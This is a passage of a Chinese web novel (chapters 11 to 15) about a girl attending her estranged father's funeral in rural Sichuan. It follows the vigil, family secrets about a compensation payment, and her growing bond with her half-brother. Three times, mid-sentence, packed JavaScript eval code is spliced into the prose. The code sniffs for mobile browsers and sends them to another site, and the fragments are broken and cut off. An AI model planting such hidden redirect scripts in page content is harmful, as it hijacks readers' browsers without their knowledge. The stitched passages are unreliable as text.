旁边又来了三个年轻男生，跟刚刚送遗像的几个女生聚在一起聊天，讨论着我和赵安然的外貌。我其实没有特别在乎，因为此刻唯一的感受，是膝盖下坚硬冰冷的水泥地传来的阵阵刺痛。毕竟大冬天直接跪在地上，跪久了膝盖真的好疼，不知道这几个道士还要咿咿呀呀唱多久。 我没有看身边的赵安然。他一直很沉默，之前在外面还能平静地与前来吊唁的乡亲们寒暄几句。此刻跪在这里，他脸上依旧没什么情绪，只是机械地、一张张往火盆里添着纸钱。但将心比心，他应该很难过吧？毕竟里面躺着的，是他的亲生父亲。我无法想象如果有一天妈妈不在了……这个念头刚冒出来，就被我狠狠掐灭，连想都不敢想。 可能是旁边的几个小孩也实在承受不住了，刚刚讨论我的那群亲属中，也就是赵国亮的其中一个妹妹，一位穿着灰色长款羽绒服、皮肤比小姑要细腻白皙一点的女生，走过来拿着厚厚的纸钱分别垫在我们的膝盖下面。我看得出来她对我们几个小孩的关心。 “垫着点，地上凉。”她轻声说。 因为她的善良举动，很大程度上缓解了我的膝盖疼痛，使得我有精神抬头看棺材前供桌上的那副遗像。 遗像下方写着“赵国亮”三个字。照片上只有头部，没有全身，但还是看得出来人还是消瘦的，头发很短，眼神很沧桑，疲倦，没有精神气，还有很重的黑眼圈，这显然是一张日常随手拍下、未经任何修饰的照片。从这张憔悴的脸上，已经很难寻觅弟弟妹妹们口中那位“大帅哥”的影子。 我对这个男人，真的完全没有印象。至今听到的，只有旁人扼腕的叹息：太年轻了，才四十岁，意外走的。在这个村子里，大概更多的是寿终正寝的老人，年轻人的死亡，总显得格外刺眼。 道士终于唱完了冗长的经文。我们几个人扶着腿颤颤巍巍起来，妈妈赶紧过来扶我，那几个弟弟妹妹脸上全是毫无掩饰“终于解放了”的轻松神情。只有赵安然，神色没有丝毫变化。只是在妈妈过来扶我时，他的目光飞快地在她脸上掠过，随即漠然转身，径直走进了客厅。 妈妈拉着我，走向刚才议论我们的那群亲戚。新一轮的“社交”又开始了。 南方的冬天，天黑得格外早。此刻，夜色已完全吞噬了群山，只有远处零星的灯火和路边几盏昏暗的路灯，在浓重的黑暗里挣扎着。 “这是大姑、二姑，幺爸。这位也是二姑，旁边是二爸。”妈妈一一指着眼前几张年轻的面孔介绍。我跟着重复称呼。他们年纪看起来都不是很大，大多二十多岁到三十出头的样子。后来我才知道，他们是我爷爷的两个弟弟的孩子。因为爷爷是长子，因此这几个人与赵国亮都有一定的年龄差。刚才那位好心的“二姑”，其实只比我大几岁，还在念大四，即将大学毕业。 寒暄过后，他们都聚到院坝中央的大火炉边，和其他亲戚聊天烤火去了。这会儿差不多晚上九点，很多帮忙的乡亲都已经走了，留下的多是本家亲戚和住得近的邻居，有的闲聊，有的凑在一起打牌。 我和妈妈被叫进客厅，坐在外侧的沙发上。小姑坐在妈妈旁边，妈妈叫她“小英”。在烤火桌四周坐着赵国亮的直系亲属们：母亲杨红翠、父亲赵兴强、二弟赵智民、儿子赵安然，另外还有一个陌生男人李志，他是小妹赵小英的老公。另外，还有一个年龄较大的老人，约莫七十岁，和一个负责操持整个丧事的管事人。 这位年长的老者是一个算命的，或者说是看风水的先生。他戴着老花镜，正仔细翻着一本发黄的旧历书，寻找适宜下葬的吉日。旁边的管事人则眉头紧锁，盘算着时间：“……关键看修坟的时间来不来得及。要是定在后天，那就得连夜喊人开工，通宵赶工才行……” 他语气里透着为难。 风水先生给出了两个日子：“一个在12号，也就是后天，日子是好的，就是急了点。另一个在18号，时间宽裕，但得停灵一周，请道士、办丧事都得拉长，前后要麻烦乡亲们差不多一个礼拜……” 管事人听了，脸上露出更深的难色，显然对这两个日子都不太满意。 大家陷入了沉寂，其实最终这个决定还得由赵国亮的父亲赵兴强拍板，因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788758|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是这个家的一家之主。所以赵兴强反复询问风水先生是否还有更合适的日子，得到的结果还是没有。 我悄悄看了一眼旁边的妈妈和小姑。她们都沉默地坐着，像背景板。小姑大概不便多言。而妈妈，作为早已离婚的前妻，身份尴尬，更不可能在这种家族决策上发声。但我猜，根据她处理外公丧事的经验，她心里或许倾向于12号，因为早点办完丧事，可以早点结束。 “18号，不用纠结了，就这个日子了。” 大家所有人的目光都望向这句话的发声者，是赵安然。 他打破了僵局。他站起身，动作带着一种与他年纪不符的沉稳。从口袋里掏出一包中华，抽出两支，分别递给风水先生和管事人：“大伯，实在不好意思，我爸这事，得辛苦大家多担待几天了，确实时间有点久。但是后天时间也太赶了。” 他的语气平静，却带着不容置疑的分量。 “没事儿，你决定了就行，那我后面就好安排了。大家都是乡里乡亲的，说啥麻烦不麻烦？反正大家都没啥事，先把你爸爸这个事情处理好才是最要紧的。”丧事管理人接过烟，客气的说到。 随后赵兴强也连忙对着丧事管理人表示感谢和不好意思：“真的感谢大家了，给大家添麻烦了。菜钱，买东西各种钱，该花就花，你安排就行，这些都没得关系。” “嗯嗯，要得。“丧事管理人应承着，他看了看着赵兴强和一旁默默垂泪的杨红翠，眼神里也带上了同情：“那我等会就在群里通知大家。那我就先走了。”终究坦然接受这个结果，毕竟白发人送黑发人的不容易，还是乡里乡亲的，大家肯定能帮就帮。 说完，他便和风水先生一道告辞离开了。 待风水老人和丧事管理人走后，赵兴强和他的小儿子赵智民也出去告知其他亲戚下葬的这个日子。而刚刚做出关键决定的赵安然，又恢复到了“沉默”状态。 因为他的决定，妈妈看他的眼神有了微妙的变化，那眼神很复杂，我看不清那是一种什么样的感情。赵安然也是她的儿子，我不相信她不会想念赵安然，哪怕这十几年她从没有对我提及这个名字。但是我还是捕捉到了她眼神里的怜惜和欣慰。 她是在怜惜吗？怜惜她的儿子年纪轻轻就丧失了父亲，不得不站出来做这个家庭的话事人？ 她是在欣慰吗？欣慰她的儿子在面临突发事故时候没有退缩，勇于站出来承担，展现出了超乎年龄的担当与成熟？ 我的目光在妈妈和赵安然之间流转。突然，有那么一刹那，我觉得他们母子俩的眉眼竟有几分说不出的相似。赵安然那清冷的、带着淡淡疏离感的眼神，竟与妈妈如出一辙。 或者说……我开始觉得赵安然的眼神，和我很像。 孙晓菲就曾这样形容过我，她说我的眼神总让她觉得若即若离，像隔着一层薄雾，可偏偏又忍不住想靠近，想看清那雾霭之后的东西。 12. 秘密 不知道是这个村子的习俗，还是四川农村的丧葬文化都这样，他们格外讲究一个“全”字，丧事的细节都很“全”。一切都得按着祖祖辈辈传下来的规矩走，仿佛唯有如此，才能让逝者走得安稳，走得体面。毕竟“死者为大”的训诫，沉甸甸地压在每个人的心头。 比如现在，我能留意到的规矩主要有两条：第一，灵前供桌上的香火绝不能断，需得有人时时盯着，在香将燃尽时立刻续上新的，而且必须是“三根香两根蜡”。第二，棺材下方有一个碗，碗里是蜡烛样的灯油，被称呼为“长明灯”，这一盏长明灯一直必须亮着，彻夜不熄，同样需要人悉心照料。 我格外关注这两条规矩，是因为，如果要遵守便意味着需要有人彻夜守灵。按照习俗，这一般都是逝者至亲小辈的责任，尤其是死者的子女。所以，守夜的人，那就只有我和赵安然了。 四川农村的冬天真的很冷，是那种湿冷湿冷，尤其夜晚更是寒夜彻骨。 对于守夜，我倒也无所谓。但妈妈的反应却有些微妙，她似乎不太喜欢农村这一套规则。可能是我身体弱，前两年在外公葬礼上我意外高烧昏迷的经历让她心有余悸，担心我孱弱的身体熬不住这山里的寒夜。但她还是没有说出口，因为在这种场合下，说出不让我守夜这种话无异于大逆不道——做子女的，难道不该为父亲守这最后一程吗？ 小姑赵小英也敏锐地察觉到妈妈这种微妙的情绪变化。她也没多说什么，只是拉着一位三十多岁的堂姑，默默去了隔壁堆放杂物的偏房去抱棉被和褥子。 从坐上车到现在，我都还没去上过厕所。不是被亲戚拉着说话，就是在灵前跪拜烧纸。此刻实在憋不住了，我便小声问妈妈厕所在哪里。 她也不知道。 当年她嫁过来时，这里只有一座房子，现在隔壁连着又有一座，格局早已大变。这也是她离婚后第一次踏足此地，所以同我一样陌生。她也没有去问爷爷奶奶，而是出去找了赵智民询问。随后妈妈领着我绕到屋后，我才知道这个房子是两家人连在一起的，左边的房子属于赵国亮的，右边则是赵智民的。只是赵智民常年在外打工，也未成家，只有过年才回来，所以右边一楼屋子基本用来堆放农具杂物等，二楼则是住人的房间。 找到了厕所，我让妈妈先回客厅烤火，不用在外面等我。当我上完厕所出来后，打算直接穿过两边的客厅回灵堂那边，因为是连通的。正当我快要走进去时，听到了杂物房里传来的对话声，是小姑她们。 “三姐，你说……嫂嫂知道哥哥那笔赔偿金的事儿吗？”这个声音带着试探。 “应该不晓得吧？她也没开口问过。”小姑的声音更低些，“之前幺叔跟爸妈都交代过的，只要秀梅不问，咱们就一个字都别提。万一她要是问起哥哥到底是咋个出事的……就说他本来身体就不好，住过院，这次是上班时候意外没的，公司就赔了几万块丧葬费，其他啥子都没得。” “哦哦，那就好……那，安然那边呢？”堂姑似乎不太放心，“他会不会跟他妈说？毕竟那赔偿金里头，按道理也该有无恙的一份，二十万啊，我不相信嫂嫂对这笔钱没打算……” “这个我早跟安然提过了，让他千万莫跟他妈提钱的事！”小姑的语气变得急促而肯定，“安然自己说的，他妈根本不会跟他说话。再说了，那钱是直接打到爸爸卡上的，又不在安然手里。只要爸不给，她王秀梅一分钱都拿不走！” “那就好……不过，”堂姑迟疑了一下，“这次嫂子既然把无恙带回来了，那无恙总归是赵家的人吧？她要是替无恙开口要那份钱，大伯肯定抹不开面子，毕竟赵无恙是他孙女，这笔钱还是得给的……” “那也得看以后的情况了。”小姑立刻接话，声音带着一丝不易察觉的冷淡，“只要无恙认这里是她的根，认爷爷奶奶，以后常回来走动，等她长大要结婚，该给她的嫁妆，家里肯定不会亏待她。可要是她以后像这些年一样，人影都见不着一个，那凭啥子现在给她钱？岂不是白白把这二十万拿走了！”她顿了顿，语气更沉，“这笔钱，我跟安然也讲清楚了，这笔钱就是他爷爷奶奶的养老钱，他们身体本来就不好，先顾着他们。安然就算以后要结婚买房，那也是后话，现在这笔钱哪个也别想动。” 门外的我，听着小姑和她堂妹的对话，愣在原地，原来我有“二十万”的赔偿金了。 妈妈也知道这笔钱吗？这是她带我回来参加父亲葬礼的原因吗？ 我猜不准她的想法。 从我记事起，我就没有听到过关于赵家的任何消息。但从生物学和社会学上的关系，我肯定知道我有亲生父亲，有爷爷奶奶，还有哥哥。但妈妈永远用一句冷淡的“我跟你爸爸离婚了，你判给我了，他们跟我们没关系了，我们有我们的生活”划清界限。她眼中深藏的排斥如此明显，以至于我从小就学会了懂事地不去触碰这个话题。反而，我的童年记忆，起点是宁波、是妈妈和陈建军的再婚，是陈思阳、是陈家爷爷奶奶、是在陈家那短暂的温暖。赵家？早已被时间的尘埃掩埋，完全没有记忆。 我轻轻地退回厕所边，没有进去，只是倚着冰冷的墙，怔怔地望着旁边月光下黑黢黢的菜地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788759|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凛冽的夜风刮过，我却感觉不到冷，心里翻涌着复杂的情绪。妈妈到底知不知道？要不要告诉妈妈？我挣扎着。但最终，一个念头占了上风：妈妈不想让我知道的事，我就装作不知道。这是我和她之间心照不宣的默契。 然而，一丝忧虑悄然滋生。妈妈会不会……为了这笔钱和赵家人起争执？对我而言，这笔所谓的“赔偿金”真的完全不在乎。我对棺材里的赵国亮没有任何父女之情，我未曾感受过他作为父亲的关爱与抚养，又怎会去觊觎他的遗产？ 只是这一次，我发现自己有些看不透妈妈的心思了。毕竟到现在，她也只是告诉我，让我来送赵国亮最后一程，作为生恩回报。对于赔偿金我之前是一概不知，我甚至到现在都不知道他是如何意外死亡的。毕竟赵家人有意隐瞒，我也无意打听，就造成现在我全然不知的局面。 口袋里的手机震动起来，是妈妈的微信：“乖乖，好了吗？外面冷，快回来。” 我猛地回神，深吸一口冰冷的空气，压下翻腾的心绪，快步走回客厅。 赵小英她们已经把一个折叠的竹子沙发打开，弄成床的样子。这个竹沙发看颜色显然有些年头了。她们已经把被褥铺好，还有一床被子。赵安然坐在对面的沙发上，那边也还有一床稍微薄一点的被子。 “无恙，”小姑见我进来，开口道，“晚上你跟安然轮流在这儿守夜。你妈妈跟我去我家那边睡，这边实在住不下了。” 她语气自然，显然已经和妈妈商量妥当。 “乖乖，”妈妈走过来，温热的手掌握住我冰凉的手指，用力摩挲着，想把她的暖意传递给我，“困了就早点睡，外套别脱，盖好被子，千万别着凉。妈妈先跟你小姑过去了。”她的眼神里满是担忧和不舍。 在我表示没事后，妈妈便和赵小英她们一同离去。 此刻已经过了晚上十二点了，外面帮忙的乡亲和闲聊的亲戚也陆陆续续离去。赵兴强和杨红翠两位老人也被小辈们劝上楼睡觉。此时，在客厅里还坐着赵安然、赵智民，以及赵国亮的一个堂弟和两个堂妹，她们都是在外地赶回来的。他们聊着天，内容多是吐槽工作或是聊起小时候的事情。只有赵安然一个人在那坐在沙发上玩着手机没有说话。 巨大的疲惫和心事的沉重感袭来。我不知道说什么，也不想参与进去，我默默脱下鞋子，蜷缩进那张铺好的竹沙发床里。厚重的棉被带着一股陈年的、酸臭的气味，但我还是把自己从头到脚严严实实地裹进被子里，连同那些冰冷的秘密和纷乱的思绪一起，隔绝在这个湿冷的冬夜之外。昏沉中，意识渐渐模糊，沉入一片混沌的黑暗。 13. 守灵 此刻，我已经不知道现在几点了，我躲在厚重的被子里不敢翻身拿手机。像一尊僵硬的木雕，木讷地侧躺在这个竹床上，一动也不敢动，怕任何一点竹床的响动声扰乱了背后几人的情绪，怕她们注意到我早已醒来。 紧张，尴尬又难受。 我其实是被一阵压抑的、断断续续的哭声哭声和众人的安慰声弄醒的。 赵安然在哭。 他埋着头，被靠在一个姑姑肩膀上，压抑的呜咽声从喉咙深处艰难地挤出来，其他几个人都在安慰着他，用手轻轻拍着他的背，递着纸巾，低声说着宽慰的话。在他哭之前发生了什么我不清楚。我只感觉到赵安然很悲伤，但又极力地掩饰自己的悲伤情绪，试图让自己停止哭泣，但他的哭声像洪水开闸一样，怎么也控制不住。那是一种混杂着痛苦、无助、或许还有长久压抑后终于崩溃的宣泄。 “哭吧，哭出来……哭出来心里就不那么堵得慌了……” 一个姑姑的声音带着浓重的鼻音，充满了怜惜。 “是啊，安然，别憋着，你爸走得突然，心里难受我们都懂……” 幺爸的声音沉沉的。 “没事的，孩子，没事的……” 二爸笨拙地重复着，拍背的手带着安抚的节奏。 过了好一会儿，那撕心裂肺的抽噎才渐渐平息，只剩下沉重的喘息和偶尔抑制不住的哽咽。赵安然似乎平复了情绪。 赵安然终于抬起头，眼睛红肿得厉害，脸上泪痕已被擦去。他站起身，脚步有些虚浮，经过我头顶时带起一阵微弱的气流。随后，他走到供桌前，动作熟练却带着一丝不易察觉的颤抖，取下差不多已经燃尽的香，再重新换上三支新的，点燃，插好。 “现在已经快两点了，”赵安然的声音沙哑，带着哭过之后浓重的鼻音，他看了一眼手机，“大姑、二姑、二爸、幺爸，你们快回去睡吧，明天还有得忙。我一个人可以的，真没事了。” 他语气带着一种疲惫不堪后的平静。 大家交换了一下眼神，似乎都感受到了他此刻想要一个人独处的渴望。 “那…安然，你撑不住就眯会儿，香火看着点就行。” 大姑叮嘱道。 “有事喊我们，我们就在隔壁。” 幺爸拍了拍他的肩膀。 赵智民拉着一位男生走向右边属于他的那半边屋子。两位姑姑也低声说着“好好歇着”，也结伴离开。 此时的夜晚又安静了下来，我实在忍不住了，便小心翼翼地翻了翻身，但仍旧没有把头伸出被子外。因为我能感觉赵安然在注视着我。 我从来没有这么尴尬和难受过，这是一种心理上的折磨。这种无声的被窥探让我无比的不自在，饱受煎熬。 没过一会儿，脚步声再次响起，靠近我的头部。我以为赵安然又要去换香。然而，脚步声停在了我头侧的位置，不动了。我的心脏骤然收紧。一个高大的阴影笼罩下来，我能清晰地感知到他就在我头顶上方，只要我稍微探出头，必然四目相对。这种不自在感让我下意识地又往被子里缩了缩，几乎要把自己闷死。 我俩就这样无声的僵持着。 最终，一声轻微的叹息传来。赵安然侧过身，伸手将挨着我头这一侧不远处那扇开着的大门轻轻关上，隔绝了部分灌入的冷风。门轴发出“吱呀”一声轻响，在寂静中格外刺耳。随后，脚步声走向旧沙发，传来身体陷入沙发垫的轻微声响。 压迫感骤然消失。我如蒙大赦，小心翼翼地调整姿势，把身子转向墙这一边，背对着他，把头伸出被子，大口地、贪婪地呼吸着被窝边缘相对新鲜的空气。被子被我拉开一道缝隙，冰冷的空气涌入，带来一丝冷气。 就在这时，“咔哒”一声清脆的打火机响，打破了沉寂。紧接着，一股熟悉的、辛辣的烟草味在冰冷的空气中弥漫开来。我抽过烟，即使这两年已经不再碰烟，但我对这气味依然异常敏感。那曾是我在迷茫岁月里，用来排遣无边寂寞的廉价工具。 我听着那吸烟时深沉而绵长的吸气声，然后是缓缓吐出的、带着细微颤抖的呼气。一根接一根，几乎没有停顿。听节奏，那种几乎与烟草融为一体的熟练感，绝对不是一朝一夕能养成的。他才二十岁，这种娴熟的抽烟声告诉我，他大概在十五六岁，甚至更早，就已经开始抽了。 看起来，即使赵安然在有爷爷奶奶、爸爸和其他众多亲戚环绕的环境里，也过得并不像陈思阳那般的顺遂无忧。 他过得也并不如意吧！ 我没有了解过赵安然的生活。当然，我现在也不知道陈思阳过得如何。不知为何，我就是能感受得出来，同样是单亲家庭，同样是家里的唯一的男孩，同样是跟着父亲和家里人住，但赵安然和陈思阳过的是完全上不一样的生活。 他应该......过得比陈思阳辛苦很多吧！ 想到我刚来这里的时候，已经在杨红翠的哭声中，听到她在哭诉“赵安然多么可怜”，也从其他长辈那里也听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而赵安然，则像是生长在背阴处的植物，在清冷、稀薄的月光下艰难地汲取养分，沉默地对抗着命运投下的阴影。不同的土壤和光照，如何能结出相同的果实？ 那我了？ 我何尝不是跟赵安然一样？ 赵无恙和陈思阳也拥有不同的人生，他们只是短暂的相遇过，最终还是走向不同的轨迹。 这一刻，在这充满着香火、纸灰和烟草气息的守灵长夜里，一种强烈的、近乎本能的共鸣感，在我和赵安然之间无声地滋生。我敏锐地嗅到了他身上散发出的那种气息——一种属于在冷月下孤独成长的灵魂所特有的、混合着坚韧、隐忍、伤痛和疏离的“信息素”。 上一次让我捕捉到这种“信息素”的人，还是几年前那个在KTV厕所门口教我抽烟的张亦文。 我，赵安然，张亦文。 我们才是被同一片月光浸透的同类。 我们是长在阴湿的“土壤”里，倔强生长的、孤独的异类。 14. 窥探 我醒来的时候已经是第二天早上7点半了，是客厅里的人把我吵醒的。醒来时已经看到赵兴强和杨红翠，还有一位年纪差不多大的面生的老妇女，他们坐在烤火桌旁和赵安然在那说话。 屋外坝子里，早到的乡亲们已经开始忙碌，锅碗瓢盆的碰撞声和低语声混杂在一起，为这个清晨的丧家添了几分喧闹。 昨晚后半夜，赵安然没有把我叫起来守夜，我竟一觉睡到了现在。我下意识抬头看了他一眼，他眼底带着淡淡的青黑，神色疲惫，不知昨晚他究竟睡了没有。看到我醒来，两位老人关切地望过来。 “无恙，睡得好不好啊？”奶奶杨红翠温和地问。 我脑子还有些懵，含糊地应了一声：“嗯……还可以。” “哎哟，无恙啊，你这说话声儿跟猫叫似的，大点声儿嘛！”那位面生的老年妇人立刻皱起眉头，声音洪亮地表达着不满。 杨红翠赶紧过来给我打圆场，招呼我认识这位老年妇女：“无恙，这是你二家婆。” 二家婆是赵兴强的二弟媳妇儿，长得不像农村妇女，身材圆润，穿着皮草，像是城里来的。我淡淡地看着二家婆向她问好后，杨红翠接着说：“她比较文静，确实不怎么爱说话。” “她比赵安然还内向，还不爱说话。跟小时候差不多，好像她小时候就没有怎么说过话。现在长大了也不爱说话。”这位二家婆说话挺爽朗直接的，声音粗亮，确实跟我形成鲜明对比，感觉她的中气比我还足。 “虽然说女孩子文静些比较好，但说话还是可以大声些，后面跟其他长辈们打招呼也大大方方的。” 杨红翠和赵兴强也在一旁“嗯嗯”迎合着，赞同她的言论。 我明白他们的好意，知道她们想让我大大方方跟各位长辈聊天。但我真的茫然和无措：眼前这些人，除了刚认识的爷爷奶奶和哥哥以及赵家人，其他几乎都是陌生人。而且她们说的还是方言，有时候说话太快我根本反应不过来她们说的是什么。与其贸然打断询问还不如我沉默。 另外，在此刻，我脑海的想的是更迫切的现实问题：我该去哪里洗漱？ 正当我在愁思时，赵安然打断了他们对我的讨论。“她一个人都不认识，肯定不知道怎么叫人，也听不懂我们这的方言，喊人也是需要有个过程的。” “嗯嗯，没事儿，慢慢来。”赵兴强也开始顺应赵安然的话。 接着赵安然便走过来，示意我从竹沙发起来：“去烤火桌那边坐吧，那边暖和点。”等我起身，他把竹沙发归整成原样，又把被褥折起来放在一旁。给进出客厅的人腾出更宽敞的通道，方便他人通行。 我看着赵安然行云流水的动作，显然做惯了家务。虽然我跟着妈妈两人在宁波，生活很艰难，但我发现妈妈都没有让我干什么活儿。长大后，除了跟妈妈学会基本的洗衣做饭，宁波的城市生活也确实没什么农活、杂活需要我做。 没过一会儿，妈妈和赵小英她们一起走了进来。妈妈递给我一个塑料袋，里面装有日常用的牙刷、牙膏、毛巾等洗漱用品：“快去洗漱吧，用你二爸那边的卫生间，这边人多。” 在赵智民那边洗漱完回到这边客厅，没过多久就开始吃早饭了。妈妈告诉我这边的早饭都是面条或者米粉，是这边的特色，很好吃。上次外公葬礼我们赶回去很仓促，我都没有尝到。 走到坝子里，看到一个特别大的不锈钢盆里盛满了煮好的面条，里面混着昨晚酒席剩下的炒菜，还有新烫的空心菜。我学着大家的样子，自己拿了碗筷，夹了一碗。面条的质地和汤头确实和外面馆子里的不同，带着一种质朴的家常味道，很香。 早饭吃得随意，很简单，没人张罗摆桌，盆和碗筷都集中放在一张桌上，大家拿碗筷自己夹面条，夹多少吃多少，夹好后，无论男女老少都端着碗要么站着，要么自己找凳子坐着，三三两两地聚在坝子里、屋檐下，边吃边和周围的人侃着天。 经过昨天一整天的“围观”，乡亲们对我的新鲜劲儿似乎淡了些，投来的目光少了许多。我和妈妈找了个角落的凳子坐下，安静地吃完。 饭后，院子里又热闹起来。年纪大的长辈们围着炭火盆烤火、闲话家常，另外几处支起了麻将桌，哗啦啦的洗牌声和说笑声此起彼伏。赵兴强、赵安然和赵智民则是端着装满瓜子、花生和散装香烟的托盘，在人群中穿梭，给帮忙的乡亲们递烟、抓零食，表达着谢意。 后来我才懂得，这是农村办丧事的一种重要习俗。离下葬还有一周时间，办事的主家最怕的就是“冷场”，怕没人气。乡亲们能来，哪怕只是坐着闲聊、打牌，对沉浸在悲痛中的主家来说，也是一种莫大的慰藉和尊重，象征着人情的温暖。 我不习惯在外面，因为人确实太多，要打招呼的人也多。我们便去了客厅，客厅里也坐满了人，我和妈妈就坐在旁边，他们和妈妈聊了一会儿后，没过多久妈妈便接到了舅舅的电话，外婆身体不适要去县里的医院。 妈妈随即向两位老人表示了情况。赵安然听闻后也用自己的手机给外婆打了电话问候，，看神情他很关心外婆。看他通话的神情很自然，没有拘谨和客套，看样子他和外婆应该是经常走动。 “无恙，外婆那边情况不太好，舅舅一时半会儿赶不回来，妈妈得过去照看一下。你就留在这里陪着爷爷奶奶，有什么不懂的、需要帮忙的，就问小姑她们。有事随时给我发消息或者打电话，啊？” 妈妈交代我情况后，还是对着赵安然叮嘱了她想说的话：“安然，你不用太担心你外婆，你这段时间会很辛苦，你好好照顾爷爷奶奶，自己也要多注意身体。我17号那天应该能回来。” 赵安然依旧很平淡地“嗯”一句以表示回答，没有过多的表情袒露。我也看不出他对妈妈的关心是怎么的感觉。 妈妈离开后，我心里瞬间空落落的。 在外婆家，我可以一个人自在待着，行动自如，因为我知道那是妈妈的家，某种程度上也是我的家，所以我可以想干嘛就干嘛。但是现在我在赵家，就如同我小时候刚跟着妈妈去陈建军的家里一样。当妈妈和陈建军去城里打工，把我一个人留在那个陌生的陈家时，我就像个寄人篱下的客人，一举一动都透着拘谨，连吃饭、上厕所都要小心翼翼地看人脸色，得到默许才敢行动。 所以，我现在一个人在赵家无所适从。 哪怕我现在长大了，我也依然很拘谨。赵兴强和杨红翠不止一次告诉我：“这里是你的家，你姓赵，你叫赵无恙，是赵国亮的女儿”。道理我懂，可内心深处，我依然觉得自己只是个前来吊唁的、格格不入的客人。 童年时，是陈思阳的热情主动，把我拉进了那个陌生的陈家。我当时能强烈感受到陈思阳对我的好感，小孩子心思单纯，加上同龄玩伴的吸引力，我很快 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也许是因为他作为死者的儿子，肩负着照顾所有宾客的责任；也许是他骨子里认定自己是哥哥，觉得理应照顾我这个突然出现的妹妹。在妈妈离开后的几天里，这种沉默的关照变得更加具体。白天，他看我一个人缩在竹沙发上发呆，会走过来，用眼神示意一下烤火桌旁的空位：“那边暖和。”晚上守灵，他更是从未叫醒过我替换，都是他一个人去换香火和照看长明灯。 这些普通的日常片段，其实和第一天我来时并没有什么不同。对话依旧是几个字、一两句话就结束了。可不知道为什么，每当夜深人静，众人散尽，只剩下我和他守着灵堂时，那种令人窒息的尴尬和不自在感，似乎悄然褪去了一些。我甚至能感觉到，他身上没有了最初那种拒人千里的漠然。 有时候，连我自己都感到惊讶。难道这就是血缘的力量吗？明明我们之间没有任何刻意的亲近举动，没有促膝长谈，甚至没有几句像样的交流，任何增加感情的方式都没有做，但我却能明显感知到，某种无形的、源于血脉的联系，正在将我和赵安然的心，一点点地、无声地拉近。 这几天，除了对赵安然有了些许了解，我也像拼图一样，重新认识了赵家的每一个人：：赵兴强、杨红翠、赵智民、赵小英。当然，还有那个在我生命里缺席了太久、如今只剩下一个名字的亲生父亲赵国亮，以及我的妈妈王秀梅——在这个家庭里，她似乎也有着我不曾完全知晓的故事。 这些信息，一部分来自白天乡亲们七嘴八舌的闲谈，更多的，则来自夜深人静、所有外人都离去之后。那是这个家庭最脆弱、最不设防的时刻。围坐在炉子旁边，年长的亲戚们会忍不住追忆、谈论起赵国亮。从他幼时的顽皮，到读书时的意气风发，再到成家、离婚、以及后来的种种不如意…… 家人们袒露心扉，彼此控诉着对赵国亮的不满，也难过于赵国亮的撒手人寰。种种复杂情绪在夜色里交织流淌。 为什么我能知道这么多？ 因为我不说话，总是沉默地坐在最不起眼的角落。另外我一直用“听不懂方言”作为最好的挡箭牌，避免了我和他们之间所有的深度交流。久而久之，大家都默认了我这个“宁波回来的丫头”完全听不懂他们的方言。于是，在我面前，他们谈论起妈妈王秀梅和父亲赵国亮那些陈年旧事时，便少了许多顾忌。 就在这一句句方言的碎片里，在那一个又一个漫长的白天和夜晚，我像一个无声的见证者，一点点拼凑出了父亲赵国亮模糊的人生轨迹，开始尝试去“认识”那个只存在于血缘关系中的父亲。同时，赵家人的形象，以及妈妈王秀梅在这个家庭里曾经的模样和处境，也在我心中渐渐清晰起来。 15. 国亮 赵国亮，1984年生人，出生于四川的一个偏远山区，是赵兴强和杨红翠的长子，二弟赵智民比他两岁，小妹赵小英则小他五岁。 赵兴强本人也是家中长子，下面还有两个弟弟：赵兴旺、赵兴盛。赵国亮的爷爷奶奶是当时地主家的孩子，因此有些文化。所以赵兴强作为地主家的长子长孙，也自然读了一些书，受过几年教育。奈何后面在农村中开展“斗地主”运动中，赵家不可避免地衰败了。到了赵兴强这一代，已经开展了农村公社，所有人都是靠挣工分吃公粮。 这个村子很多赵姓人家，得益于赵兴强祖上家业和声望。由于赵兴强自己比其他人多识字，写得了几个好字，懂得东西比同辈的文盲老粗多些，所以年纪轻轻就在当地生产队谋得一个小小的职位。待土地政策开放后，赵兴强三兄弟和其他人一样在这片属于自己的土地上辛勤农作，没过多久他便和隔壁村子的同龄女性杨红翠结婚，次年便生下长子赵国亮。 此时，在沿海地区已是风起云涌，下海经商、海外资本进入中国，一片经济繁荣景象。但在偏远的四川农村，仍旧还是农耕社会，当地大部分村民人都是靠天吃饭，庆幸的是，至少是能自给自足，已经不会再饿死人。 然而，山外的世界像一块巨大的磁石，吸引着不甘困守在大山里的年轻人，他们不甘寂寞，背上行囊远走他乡。当时，他们中的大多数并未奔向遥远的沿海地区，而选择了更近、同样急需劳动力的新疆。因为新疆需要大量的劳动力，那边地旷人稀，只要年轻有力气完全可以在新疆谋生。在这些人中，就有赵兴强的两个年轻弟弟。 而赵兴强，已成家有孩子，则遵守责任和传统，留在家乡，种地养猪，时而去镇上赶集摆摊，做些小买卖，日子过得不上不下。 